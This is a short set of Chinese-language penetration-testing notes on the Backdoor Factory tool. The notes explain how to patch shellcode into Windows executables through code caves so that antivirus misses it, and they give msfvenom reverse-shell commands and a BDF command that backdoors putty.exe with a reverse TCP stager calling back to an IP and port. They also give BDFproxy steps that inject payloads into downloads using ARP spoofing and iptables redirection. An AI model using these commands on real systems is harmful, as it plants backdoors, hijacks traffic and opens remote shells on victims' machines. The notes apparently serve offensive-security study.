Backdoor-factory
- Patch
- 通过替换exe、dll、注册表等方法修复系统漏洞或问题的方法
- BDF:向二进制文件中增加或者删除代码内容
- 某些受保护的二进制程序无法patch
- 存在一定概率文件会被patch破坏掉
- 后门工厂
- 将shellcode代码patch进模板文件,躲避AV检查
- 支持msf payload、自定义payload
msf使用的patch方法(BDF也支持)
- 覆盖程序入口
msfvenom -p windows/shell/reverse_tcp
- 创建新的线程执行shellcode并跳回原程序入口
msfvenom -p windows/shell/reverse_tcp -k
- 增加代码片段,跳转执行后跳回源程序入口
CTP方法
增加新的代码段section,与MSF的-k方法类似
使用现有的代码缝隙(code cave)存放shellcode
Codecave
- 二进制文件中超过两个字节的连续x00区域(代码片段间区域)
- 根据统计判断,代码缝隙是在编译器在进行编译时造成的,不同的编译器产生的代码缝隙大小不同。
单个代码缝隙不足以存放完整shellcode时
- 多codecave跳转
- 结合msf的stager方法
patch选项
- 附加代码段
- 单codecave注入
- 多codecave注入
操作
查看是否支持
backdoor-factory -f putty.exe -S
查看代码缝隙
backdoor-factory -f putty.exe -c -l 100
查看payload
backdoor-factory -f putty.exe -s show
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_thread -H 192.168.1.119 -P 4444
BDFproxy(通过mitmproxy实现)
- 基于流量劫持,动态注入shellcode(ARP spoof、DNS spoof、fake AP)
- 注入shellcode到下载文件的流量中
- 会自动清楚PE的签名,用0覆盖
步骤
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -p tcp --dport 80/443 -j REDIRECT -- to-ports 8080
vi /etc/bdfproxy/bdfproxy.cfg
- proxyMode=transparent
- 修改侦听IP地址并启动bdfproxy
arpspoof -i eth0 -t 1.1.1.2 1.1.1.1
启动MSF
Mana
- 无线Ap